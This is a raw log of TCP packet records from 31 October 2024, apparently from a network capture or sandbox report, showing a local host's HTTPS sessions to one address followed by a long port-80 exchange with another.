Oct 31, 2024 05:06:07.761420965 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:07.761435032 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:08.371385098 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:08.371531010 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:08.373017073 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:08.373038054 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:08.373307943 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:08.374697924 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:08.374794960 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:08.374805927 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:09.086846113 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:09.086942911 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:09.087040901 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:09.087229967 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:09.087251902 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:09.592626095 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:09.592714071 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:09.592808008 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:09.593247890 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:09.593296051 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.218389988 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.218513966 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.220062017 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.220093966 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.220366955 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.232775927 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.233638048 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.233685970 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.233803034 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.233870983 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.234013081 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.234075069 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.234251022 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.234304905 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.234483004 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.234555006 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.234775066 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.234819889 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.234841108 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.234869003 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.235080957 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.235116005 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.235181093 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.235285997 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.235341072 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.245876074 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.246076107 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.246126890 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.246179104 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.246215105 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:10.246280909 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:10.246299982 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:31.809912920 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:31.810013056 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:31.810187101 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:31.810272932 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:31.810317039 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:31.853971004 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:31.854012012 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:31.854088068 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:31.854409933 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:31.854428053 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.465421915 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.465521097 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.469683886 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.469698906 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.469953060 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.478480101 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.478558064 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.478586912 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.896171093 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.896291971 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.896349907 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.896591902 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.896614075 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.896629095 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:32.896636009 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:32.897785902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:32.903253078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:32.903331041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:32.903436899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:32.909761906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849210978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849231005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849241972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849251032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849261045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849272966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849282980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849293947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849304914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849317074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.849364042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:33.849416971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:33.854295015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.854310036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.854321003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:33.854382992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.009316921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009332895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009345055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009356976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009370089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009387970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009398937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009484053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.009538889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.009571075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009583950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009612083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.009816885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009829998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009852886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009864092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.009867907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.009892941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.010431051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.010476112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.010481119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.010494947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.010519028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.010530949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.010533094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.010561943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.011394978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.011413097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.011464119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.016464949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.016478062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.016489029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.016513109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.016594887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.016640902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.016674995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.056782961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.134155035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.167963028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.167975903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168066978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.168488026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168502092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168545961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168546915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.168562889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168595076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.168626070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168672085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.168760061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168771029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.168817043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.168989897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169040918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169053078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169064045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169083118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.169112921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.169524908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169537067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169547081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169578075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169589043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169589996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.169603109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.169615030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.169646978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.170249939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170260906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170273066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170295000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.170299053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170310974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170320988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170331955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.170339108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.170381069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.171216965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171228886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171252966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171262980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171263933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.171276093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171286106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171294928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.171298981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.171320915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.171343088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.172128916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172141075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172151089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172173977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.172178030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172190905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172202110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172213078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.172224998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.172260046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.173057079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.173069000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.173079014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.173105001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.173130989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.256032944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.256051064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.256067038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.256194115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.291609049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.291649103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.291714907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.327759027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327794075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327812910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327814102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.327827930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327838898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327851057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327862024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.327877998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.327914953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.328250885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328262091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328303099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.328404903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328416109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328425884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328449965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.328707933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328735113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328746080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328761101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.328771114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328777075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.328783989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.328831911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.329353094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.329365969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.329375982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.329404116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.329411030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.329416037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.329458952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.329971075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330018044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.330059052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330071926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330082893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330095053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330104113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.330107927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330121994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330132961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.330173016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.330923080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330934048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330964088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330976009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330981016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.330987930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.330998898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331016064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.331038952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.331716061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331727028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331737995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331768990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331779957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331780910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.331793070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331806898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.331808090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.331855059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.332667112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332678080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332688093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332709074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.332739115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332741976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.332750082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332761049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332772970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.332782984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.332832098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.333642006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333653927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333664894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333688974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.333708048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333719969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333730936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333743095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.333746910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.333767891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.334522009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334573030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.334604025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334615946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334634066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334644079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334652901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.334656954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334670067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.334683895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.334713936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.335527897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335539103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335547924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335570097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.335613966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335624933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335635900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335648060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.335654020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.335690022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.336494923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336544037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.336570024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336581945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336592913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336604118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336611986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.336615086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336647987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.336669922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.336730003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.337393999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.337466002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.337512970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.368767977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.368782997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.368839025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.379678011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379704952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379715919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379729986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379740953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379750013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.379750013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.379796028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.415358067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.415371895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.415384054 CET	80	49744	185.215.113.16	192.168.2.4
